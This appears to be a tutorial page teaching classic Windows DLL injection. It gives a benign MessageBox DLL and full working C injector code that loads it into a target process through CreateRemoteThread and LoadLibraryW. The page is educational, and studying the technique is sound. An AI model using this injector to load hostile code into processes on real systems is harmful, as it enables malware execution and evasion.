DLL Injection
Injecting DLL into a Process
Writing Our Own DLL
Okay first of all , to do a DLL injection , we need a DLL ofcourse, so we can either use tools like msfvenom
to create a DLL or create our own DLL using visual studio.
In visual studio , to create a DLL , we first need to create a new project and then select (DLL) option

after giving a name for the project , visual studio will create a file with basic DLL skeleton

great, now we are ready to start with our DLL code and according to the microsoft page , this is how a minimal DLL blueprint looks like

According to microsoft, DLL_PROCESS_ATTACH
case is triggered when any DLL is loaded

So whatever we need to run should be done in DLL_PROCESS_ATTACH
, knowing this , we can update our code accordingly and for simplicity purpose , I would just run a basic MessageBoxW
function. Here’s the updated code.
#include "pch.h"
VOID attachment_issues() {
MessageBoxW(NULL, L"DLL Attached !!", L"DLL Injection", MB_ICONEXCLAMATION);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
attachment_issues();
break;
case DLL_THREAD_ATTACH: break;
case DLL_THREAD_DETACH: break;
case DLL_PROCESS_DETACH: break;
break;
}
return TRUE;
}
Loading DLL into Local Process
ok this looks great, now we can build the solution and it will provide us with a DLL , to check if it worked correctly we can either use process hacker 2 to manually inject a DLL or use rundll32
to run the main function in DLL , for that we can just type this in cmd.
rundll32.exe susdll.dll,DllMain
And we will see the message box on screen, this means that our DLL does work correctly, you might see an error box later which can be ignored for now

time to inject this DLL into a process }:-]
Now just create another New project and then we will start coding our DLL Injection “malware”.
Okay so first of all , if we want to load a DLL into our process / code , we can use LoadLibraryW
function to perform our task, Here’s a small code and the output that shows we loaded the DLL into our process.

Since the LoadLibraryW
function is something that loads a DLL into CURRENT PROCESS
, we can’t run it directly as it will load the DLL into our process memory. In order to “Inject” a DLL , we need to load that DLL into another process memory which can be done by first getting the handle to the process using OpenProcess
and then create a thread which will run the LoadLibraryW
function in that process and for that we need to get the address of the LoadLibraryW
function which is present in kernel32.dll
As with injection , the steps are similar to that of Remote Process Injection. So here’s a preview of the code (full code afterwards)
BOOL InjectDll(...) {
HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
HANDLE k32Handle = GetModuleHandleA("Kernel32.dll");
PVOID fnLoadLibrary = GetProcAddress(k32Handle, "LoadLibraryW");
PVOID pBuf = VirtualAllocEx(pHandle, pBuf, pSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(pHandle, pBuf, DllPath, pSize, &bWrote)
HANDLE tHandle = CreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)fnLoadLibrary, pBuf, 0, &tid);
WaitForSingleObject(tHandle, INFINITE);
}
Explanation
Alright, so as I said, we got the handle to the process first and then we try to find the address for the LoadLibraryW
function which is present inside kernel32.dll
so we first get a handle to that DLL using GetModuleHandleA
and then find the address of the function using GetProcAddress
, then we write the path to DLL into a memory space in that process, and then finally call the function with the DLL path as parameter.
Note that since the function is already executable and we are just allocating memory to write a parameter (DLL path), we don’t need to have PAGE_EXECUTE_READWRITE
access since we wont be executing that part of memory either way. Ill show this later by updating the memory protection to PAGE_READ
and we still would be able to load the DLL.
Injecting DLL into a Remote Process
Here’s the full code
#include <stdio.h>
#include <Windows.h>
#define okay(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define info(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define warn(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define cool(msg, ...) printf("[>] " msg "\n", ##__VA_ARGS__)
BOOL InjexDll(LPCWSTR DllPath, DWORD pid, SIZE_T pSize) {
DWORD tid = 0;
SIZE_T bWrote = 0;
PVOID pBuf = NULL;
PVOID fnLoadLibrary = NULL;
HANDLE tHandle = NULL;
HANDLE pHandle = NULL;
HMODULE k32Handle = NULL;
pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (pHandle == NULL) {
warn("Failed to Open Process ; Got @--0x%x", GetLastError());
return FALSE;
}
info("Opened Handle to the process %d @--0x%x", (int)pid, pHandle);
k32Handle = GetModuleHandleA("Kernel32.dll");
if (k32Handle == NULL) {
warn("Failed to Load kernel32.dll ; Got @--0x%x", GetLastError());
return FALSE;
}
fnLoadLibrary = GetProcAddress(k32Handle, "LoadLibraryW");
if (fnLoadLibrary == NULL) {
warn("Failed to get LoadLibraryW address; Got @--0x%x", GetLastError());
return FALSE;
}
pBuf = VirtualAllocEx(pHandle, pBuf, pSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pBuf == NULL) {
warn("Failed to Allocate Buffer on Process Memory; Got @--0x%x", GetLastError());
return FALSE;
}
if (!WriteProcessMemory(pHandle, pBuf, DllPath, pSize, &bWrote)) {
warn("Failed to Write on Process Memory; Got @--0x%x", GetLastError());
return FALSE;
}
info("WriteProcessMemory Success!");
if (!VirtualProtectEx(pHandle, pBuf, pSize, PAGE_READONLY, &bWrote)) {
warn("Unable to Change Protection on Memory");
}
info("Updated Memory to READONLY");
tHandle = CreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)fnLoadLibrary, pBuf, 0, &tid);
if (tHandle == NULL) {
warn("CreateRemoteThread failed; Got @--0x%x", GetLastError());
return FALSE;
}
cool("Created a Remote Thread, DLL will be injected soon");
WaitForSingleObject(tHandle, INFINITE);
CloseHandle(tHandle); CloseHandle(pHandle); CloseHandle(k32Handle); VirtualFree(pBuf, 0, MEM_RELEASE);
return TRUE;
}
VOID main(int argc, char* argv[]) {
if (argc < 2) {
info("Usage: %s <PID>", argv[0]);
exit(0);
}
WCHAR DLLPath[] = L"D:\\Meoware\\susdll.dll";
DWORD PID = atoi(argv[1]);
InjexDll(DLLPath, PID, sizeof(DLLPath));
return 0;
}
and after running this , we see the message box :)

Noiceee , that’s how we can simply inject our DLL into any process provided we have enough access.
Debugging Errors
I also wanted to show how importante debugging is and this is why ill show something that I faced while writing this code. I accidentally typo-ed the LoadLibraryW
function to LoadLibaryW
which was the reason I wasn’t able to inject the DLL since there is no such function, and after some debugging, I got to see this

Note that there wasn’t any typo in the print statement , but after searching for 0x7f
on the microsoft error page , we see ERROR_PROC_NOT_FOUND

which is absolutely correct since LoadLibaryW
(typoed) doesn’t exists, but we can also try googling the issue and find pages like this and this which further confirms what we saw. And so with good debugging and googling skills, one can save their time and get to exactly know what is causing the issue.
References
Last updated
Was this helpful?